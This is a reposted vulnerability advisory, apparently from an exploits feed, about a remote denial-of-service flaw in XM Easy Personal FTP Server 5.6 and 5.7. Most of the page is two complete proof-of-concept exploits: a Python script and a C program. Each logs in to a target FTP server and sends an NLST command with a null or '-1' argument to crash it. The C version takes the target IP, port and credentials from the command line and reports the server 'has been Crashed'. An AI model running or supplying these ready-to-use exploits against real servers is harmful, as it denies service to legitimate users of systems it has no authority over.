No account yet?
Home » Exploits » XM Easy Personal FTP Server 'NLST' Command Remote Denial of Service Vulnerability
XM Easy Personal FTP Server 'NLST' Command Remote Denial of Service Vulnerability E-mail
Feeds - Exploits
Written by Mahammad Mohsen   
Monday, 30 March 2009 22:03
XM Easy Personal FTP Server 'NLST' Command Remote Denial of Service Vulnerability


-\\Bugtraq ID:
31739

-\\Class:
Unknown

-\\CVE:


-\\Remote:
Yes

-\\Local:
No

-\\Published:
Oct 13 2008 12:00AM

-\\Updated:
Mar 30 2009 07:26PM

-\\Credit:
shinnai



-\\Vulnerable:
dxmsoft XM Easy Personal FTP Server 5.7
dxmsoft XM Easy Personal FTP Server 5.6



-\\Discussion
XM Easy Personal FTP Server is prone to a remote denial-of-service vulnerability.

This issue allows remote attackers to crash affected FTP servers, denying service to
legitimate users.

XM Easy Personal FTP Server 5.6.0 and 5.70 are vulnerable; other versions may also
be affected.



-\\Exploit(s)/PoC(s):
Attackers may use readily available network utilities to exploit this issue.

The following exploits are available:

===============================================================
31739.py
^^^^^^^^^
print "--------------------------------------------------------------"
print "# XM Easy Personal FTP Server 5.6.0 Remote Denial of Service"
print "# url: http://www.dxm2008.com/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://www.shinnai.net"
print "--------------------------------------------------------------"

import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
   conn = s.connect(("127.0.0.1",21))
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('USER test\r\n')
   print "Client -> USER: test"
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('PASS test\r\n')
   print "Client -> PASS: test"
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('NLST -1\r\n')
   print "Client -> NSLT: -1"
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)
except:
   print "- Unable to connect. exiting."


===============================================================
31739-Salwan.c
^^^^^^^^^^^^^^^
/*
XM Easy Personnal FTP Server <= 5.7.0
Remote Denial of Service with Request (NLST)

-------------------------------------------------------------------------
The vulnerability is caused due to an error in handling the NLST command.
This can be exploited to crash
the FTP service by sending the "NLST" with NULL argument.
-------------------------------------------------------------------------

Author: Jonathan Salwan
Mail  : submit [AT] shell-storm.org
Web   : http://www.shell-storm.org
*/

#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"

int syntax(char *file)
    {
    fprintf(stderr,"XM Easy Personnal FTP Server <= 5.7.0\n");
    fprintf(stderr,"=>Syntax  : <%s> <ip> <port> <login> <passwd>\n",file);
    fprintf(stdout,"=>Exemple : %s 127.0.0.1 21 login1 password1\n",file);
    exit(0);
    }

int main(int argc, char **argv)
{
    if (argc < 4)
        syntax(argv[0]);
    
    int port = atoi(argv[2]);

    int mysocket;
    int mysocket2;
    int srv_connect;
    int sockaddr_long;


        struct sockaddr_in sockaddr_mysocket;
        sockaddr_long = sizeof(sockaddr_mysocket);
        sockaddr_mysocket.sin_family = AF_INET;
        sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
        sockaddr_mysocket.sin_port = htons(port);

        char request[50];
    char answer[200];

        fprintf(stdout,"[+]Connect to Server %s\n",argv[1]);

                mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
                        if(mysocket2 == -1){
                        fprintf(stderr,"[-]FAILED SOCKET\n");
            return 1;}

    srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket,
    sockaddr_long);
        
    if (srv_connect != -1)
         {    

                memset(answer,0,200);
            recv(mysocket2,answer,sizeof(answer),0);

        sprintf(request, "USER %s\r\n", argv[3]);        
            if (send(mysocket2,request,strlen(request),0) == -1){
                fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
                shutdown(mysocket2,1);
                return 1;}
            else{
                memset(answer,0,200);
                recv(mysocket2,answer,sizeof(answer),0);
                }
        
        sprintf(request, "PASS %s\r\n", argv[4]);
                        if (send(mysocket2,request,strlen(request),0) == -1){
                                fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
                                shutdown(mysocket2,1);
                                return 1;}
                        else{
                    memset(answer,0,200);
                                recv(mysocket2,answer,sizeof(answer),0);
                         }
                sprintf(request, "NLST\r\n");
                        if (send(mysocket2,request,strlen(request),0) == -1){
                                fprintf(stderr,"[-]Send Request NLST\t\t[FAILED]\n");
                                shutdown(mysocket2,1);
                                return 1;}
            
        }
    else{
        fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
        shutdown(mysocket2,1);
        return 1;}


    shutdown(mysocket2,1);


fprintf(stdout,"[+]Done! %s has been Crashed\n", argv[1]);
return 0;
}





-\\Solution
Currently we are not aware of any vendor-supplied patches. If you feel we are in
error or if you are aware of more recent information, please mail us at:
This e-mail address is being protected from spambots. You need JavaScript enabled to view it .



-\\References(s)
--XM Easy Personal FTP Server Home Page
http://www.dxm2008.com  (dxmsoft)
 

Security Services by HSC